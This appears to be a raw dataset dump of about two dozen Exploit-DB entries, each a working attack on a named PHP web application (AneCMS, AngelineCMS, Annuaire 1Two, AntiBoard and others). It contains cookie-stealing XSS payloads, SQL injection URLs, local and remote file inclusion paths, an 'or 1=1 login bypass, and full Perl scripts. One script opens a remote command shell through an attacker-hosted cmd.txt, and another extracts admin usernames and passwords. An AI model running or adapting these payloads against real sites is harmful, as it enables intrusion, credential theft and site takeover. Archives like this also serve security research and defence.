deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34140
Description: AneCMS 1.x - '/modules/blog/index.php' HTML Injection
Type: webapps
Platform: php
Date: 2010-06-11
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40838/info


AneCMS is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

AneCMS 1.3 is vulnerable; other versions may also be affected. 

hello <script>alert(document.cookie)</script>
Exploit-DB #34141
Description: AneCMS 1.x - '/modules/blog/index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-11
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40840/info

AneCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AneCMS 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/blog/1+ANY_SQL_CODE_HERE/Demo_of_ANE_CMS#comment-63
Exploit-DB #18559
Description: AneCMS 2e2c583 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-04
Author: I2sec-Jong Hwan Park

Exploit:
# Exploit Title: AneCMS v.2e2c583 LFI exploit
# Date: 03.04.2012# Author: I2sec-PJH
# Software Link: https://github.com/AneGroup/AneCMS 
# Version: v.2e2c583 -----------------------------------------------------


-Description
vulnerabilities have been discovered in the index page.
-source of index.php
1. if(isset($_GET['p']))
2. include './pages/'.$_GET['p'].'.php';
3. else
4. include './pages/dash.php';
-PoC
http://localhost/acp/index.php?p=../../../../windows/system.ini%00
http://localhost/acp/index.php?p=../../../../[localfile]%00
Exploit-DB #1640
Description: AngelineCMS 0.8.1 - 'installpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-04
Author: K-159

Exploit:
#!/usr/bin/perl
##
# AngelineCMS 0.8.1 installpath Remote Code Execution Exploit
# Bug Found & code By K-159 
# code reference from uid0/zod at ExploiterCode.com
##
# echo.or.id (c) 2006
# 
##
# usage:
# perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>
#
# perl angelineCMS.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'kernel/loadkernel.php?installPath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[Ã.Âª]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[Ã.Âª]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *AngelineCMS 0.8.1 installpath Remote Code Execution Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to angelineCMS ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-04-04]
Exploit-DB #17380
Description: Angora Guestbook 1.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-06-10
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................Angora Guestbook 1.5
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://aguestbook.sourceforge.net/
Discovery Date..........6/1/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in Angora Guestbook 1.5 can be
exploited to include arbitrary files.


--PoC--

http://localhost/angora_1_5/guestbook/index.php?l=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.jpg
Exploit-DB #37263
Description: AnimaGallery 2.6 - Local File Inclusion
Type: webapps
Platform: php
Date: 2015-06-10
Author: d4rkr0id

Exploit:
# Exploit Title: AnimaGallery 2.6 (theme and lang cookie parametre) Local File Include Vulnerability 
# Date: 2015/06/07 
# Vendor Homepage: http://dg.no.sapo.pt/ 
# Software Link:http://dg.no.sapo.pt/AnimaGallery2.6.zip
# Version: 2.6
# Tested on: Centos 6.5,php 5.3.2,magic_quotes_gpc=off # Category: webapps

* Description

func.php
line 21 - 22:

include('themes/'.$THEME.'/templates.php');
include('languages/'.$LANG.'.php');

$lang and $THEME parametre from import_theme_lang() function.

function import_theme_lang()
{
  $THEME = DEFAULT_THEME;
  if(isset($_COOKIE['theme']) AND !THEME_LOCKED)
    $THEME = $_COOKIE['theme'];  <--  Not Taint Checking

  $LANG = DEFAULT_LANG;
  if(isset($_COOKIE['lang']) AND @file_exists('languages/'.$_COOKIE['lang'].'.php') AND !LANG_LOCKED)
    $LANG = $_COOKIE['lang'];     <--- Not Taint Checking

  return(array($THEME, $LANG));
}


* Proof of Concept

curl "http://192.168.1.101/AnimaGallery/?load=adminboard&mode=1" --cookie "lang=../../../../../../../etc/passwd%00"

curl "http://192.168.1.101/AnimaGallery/?load=adminboard&mode=1" --cookie "theme=../../../../../../../etc/passwd%00"
Exploit-DB #29251
Description: AnnonceScriptHP 2.0 - '/admin/admin_config/Aide.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21514/info
     
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
     
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/admin/admin_config/Aide.php?email=[XSS]
Exploit-DB #29246
Description: AnnonceScriptHP 2.0 - '/admin/admin_membre/fiche_membre.php?idmembre' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21514/info

AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.

AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/admin/admin_membre/fiche_membre.php?idmembre=[SQL INJECTION]
Exploit-DB #29248
Description: AnnonceScriptHP 2.0 - '/Templates/admin.dwt.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21514/info
  
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
  
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/Templates/admin.dwt.php?email=[XSS]
Exploit-DB #29249
Description: AnnonceScriptHP 2.0 - '/Templates/commun.dwt.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21514/info
   
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
   
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/Templates/commun.dwt.php?email=[XSS]
Exploit-DB #29252
Description: AnnonceScriptHP 2.0 - 'email.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21514/info
      
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
      
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/email.php?id=[SQL INJECTION]
Exploit-DB #29247
Description: AnnonceScriptHP 2.0 - 'erreurinscription.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21514/info
 
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
 
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/erreurinscription.php?email=[XSS]
Exploit-DB #29250
Description: AnnonceScriptHP 2.0 - 'membre.dwt.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21514/info
    
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
    
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/Templates/membre.dwt.php?email=[XSS]
Exploit-DB #29253
Description: AnnonceScriptHP 2.0 - 'voirannonce.php?no' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21514/info
       
AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
       
AnnonceScriptHP V2.0 is vulnerable.

http://www.example.com/[script_annonce_path]/voirannonce.php?no=[SQL INJECTION]
Exploit-DB #2305
Description: AnnonceV News Script 1.1 - 'page' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-05
Author: Kurdish Security

Exploit:
* Kurdish Security Advisory
* Original Adv : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-26-annoncev-news.html
* Script : AnnonceV
* Site : http://www.comscripts.com/scripts/php.annoncesv.1895.html
* Version : 1.1
* Risk : High
* Class : Remote
* Contact : botan@linuxmail.org and irc.gigachat.net #kurdhack
* Nice crackerz sh00tz:milex,b3g0k,azad,fearless,darki,qawiste and other my friends
-----------------------------------------------------------------------------------

Google w0rkez :P : "AnnonceV1.1"
: "/admin/annonce.php"
: "/annonce.php"

lol now code :]

$page=$_GET['page'];


if(substr($page, -3) == 'txt')//pour les news
{
include("newsdisplay.php");
}

else //pour toutes les autres pages
{
include($page.".php");
}

?>

http://www.site.com/annonce.php?page=yourcode.txt?&cmd=id
http://www.site.com/admin/annonce.php?page=yourcode.txt?&cmd=id

# milw0rm.com [2006-09-05]
Exploit-DB #25821
Description: Annuaire 1Two 1.0/1.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-06-14
Author: An0nym0uS

Exploit:
source: https://www.securityfocus.com/bid/13961/info

Annuaire 1Two is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #2289
Description: Annuaire 1Two 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2006-09-02
Author: DarkFig

Exploit:
#!/usr/bin/perl
#
# Affected.scr..: Annuaire 1Two 2.2
# Poc.ID........: 09060902.txt
# Type..........: SQL Injection (without quote)
# Risk.level....: Medium
# Vendor.Status.: Unpatched
# Src.download..: http://www.1two.org/
# Poc.link......: acid-root.new.fr/poc/09060902.txt
# Credits.......: DarkFig
#
#
use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;
use strict;


print STDOUT "\n+", '-' x 53, "+\n";
print STDOUT "|    Annuaire 1Two 2.2 Remote SQL Injection Exploit   |\n";
print STDOUT '+', '-' x 53, "+\n";

my($host,$path,$proxh,$proxu,$proxp,);
my $opt = GetOptions(
   'host=s'   =>  \$host,
   'path=s'   =>  \$path,
   'proxh=s'  =>  \$proxh,
   'proxu=s'  =>  \$proxu,
   'proxp=s'  =>  \$proxp);
   
if(!$host) {
    print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] [Options]    |\n";
    print STDOUT "| [Options] --proxh=[ip] --proxu=[user] --proxp=[pwd] |\n";
    print STDOUT '+', '-' x 53, "+\n";
    exit(0);
}

if(!$path) {$path  = '/';}
if($host  !~ /http/) {$host  = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}

my @fi = ('username', 'password');
my $ur = $host.$path.'index.php?id=';
my $ua = LWP::UserAgent->new();
   $ua->agent('Mozilla XD');
   $ua->timeout(30);
   $ua->proxy(['http'] => $proxh) if $proxh;

foreach(@fi) {
my $xx = $_;
my $re = HTTP::Request->new(GET =>  $ur."-1 UNION SELECT $xx FROM 1two_annuaire_admin");
   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;
my $xd = $ua->request($re);
my $da = $xd->content;

if($da =~ /- (.*?)<\/title>/) {
      if($xx eq 'username') {
            print STDOUT " [+]User:";}
      if($xx eq 'password') {
            print STDOUT " [+]Passwd:";}
      print STDOUT " $1\n";
} else {
  print STDOUT "[!]Exploit failed\n";
}}
print STDOUT "+", '-' x 53, "+\n";
exit(0);

# milw0rm.com [2006-09-02]
Exploit-DB #36569
Description: Annuaire PHP - 'sites_inscription.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-16
Author: Atmon3r

Exploit:
source: https://www.securityfocus.com/bid/51434/info

Annuaire PHP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/referencement/sites_inscription.php?nom=xss&url=[xss]
Exploit-DB #40388
Description: AnoBBS 1.0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2016-09-16
Author: bd0rk

Exploit:
<!--
# Title: AnoBBS 1.0.1 Remote File Inclusion Exploit
# Author: bd0rk || Germany
# Tested on: Ubuntu-Linux
# Twitter: twitter.com/bd0rk
# Greetz: Vadim, x0r_32, rgod, zone-h.org, Michael RaumklanG

#Vendor-URL: http://www.iterapi.com/index.php?cat=78&art=788
#Download-Link: http://www.hotscripts.com/listings/jump/download/90434

#The $prog_dir-parameter in /anobbs_dev_1.0.1/progs/bbs_auth.php line 7 is vulnerable.

>>>Exploitcode for Copy&Paste<<<
-->

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AnoBBS 1.0.1 Remote File Inclusion Exploit</title>
<script language="JavaScript">
 
var dir="/progs/"
var file="/bbs_auth.php?"
var parameter ="prog_dir="
var shell="Insert your shellcode here"
 
function command() {
if (document.rfi.target1.value==""){
alert("Exploit failed...");
return false;
}
 
rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script>
</head>
 
<body bgcolor="#000000">
<center>
 
<p><b><font face="Verdana" size="2" color="#008000">AnoBBS 1.0.1 Remote File Inclusion Exploit</font></b></p>
 
<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbps;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>
 
<b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p>
</center>
</body>
 
</html>
Exploit-DB #4734
Description: Anon Proxy Server 0.1000 - Remote Command Execution
Type: webapps
Platform: php
Date: 2007-12-14
Author: Michael Brooks

Exploit:
By Michael Brooks
Vulnerability type: Multiple Remote System commands execution. 
Software: Anon Proxy Server
Home page:http://sourceforge.net/projects/anonproxyserver/
Affects version: 0.100

Example exploit:
http://127.0.0.1/anon_proxy_server_0.100/diagdns.php?host=google.com%5C%27+%26%26+cat+%2Fetc%2Fpasswd+%23

A virtually identical flaw exists in diagconnect.php however it takes longer to execute.

Anon Proxy Server forces magic_quotes_gpc=on,  However magic_quotes_gpc does not protect the system()  function from taint.  For protection you should use the escapeshellarg() function. Removing diagdns.php and diagconnect.php is the best temporary solution.  Also magic_quotes_gpc is being removed in php6,  so Anon Proxy Server will have to revamp there security. 

Peace

# milw0rm.com [2007-12-14]
Exploit-DB #9225
Description: AnotherPHPBook (APB) 1.3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-21
Author: n3w7u

Exploit:
########################################################################

                APBook 1.3.0 (Login Bypass) SQL Injection Vulnerability

########################################################################
#                            AUTHOR: n3w7u
#
## Download: www.clanscripte.net/main.php?content=download&do=dl&dlid=81
#
## Dorks:                 inurl:apbook/index.php
#  or
#         AnotherPHPBook (APB) v.1.3.0 Â© 2001 by Stephan Baumeister (zap)
#########################################################################
#
## Exploit:
# 
#  http://[host]/[path]/admin/index.php
#
#    [!]
#           Put as username and password: 'or 1=1/*
#           You will log in as admin
#
#

# milw0rm.com [2009-07-21]
Exploit-DB #3751
Description: Anthologia 0.5.2 - 'index.php?ads_file' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-17
Author: Dj7xpl

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                      ANTHOLOGIA 0.5.2 
-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Author :   Dj7xpl / Dj7xpl[at]Yahoo[dot]com
* Type :     Remote File Inclusion Vuln
* Download:  http://www.dbfweb.com/download/anthologia-last.tgz
* Page:      http://www.dbfweb.com/anthology.htm
* Vuln:      index.php?ads_file=http://[EvilSite]/Evil.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-17]
Exploit-DB #24329
Description: AntiBoard 0.6/0.7 - 'antiboard.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-07-28
Author: Josh Gilmour

Exploit:
source: https://www.securityfocus.com/bid/10821/info

Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.

AntiBoard versions 0.7.2 and prior are affected by these issues.

/antiboard.php?thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=threaded&sort_order=

/antiboard.php?range=all&mode=threaded&thread_id=1&reply=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--

/antiboard.php?range=all&thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&sort_order=ASC&mode=threaded

/antiboard.php?thread_id=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=nested&reply=1

poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=1';%20exec%20whatever--&range=&parent_id=0&reply=reply

POST antiboard.php poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=threaded&range=&parent_id=1%20UNION
ALL select field from antiboard_emails----&reply=reply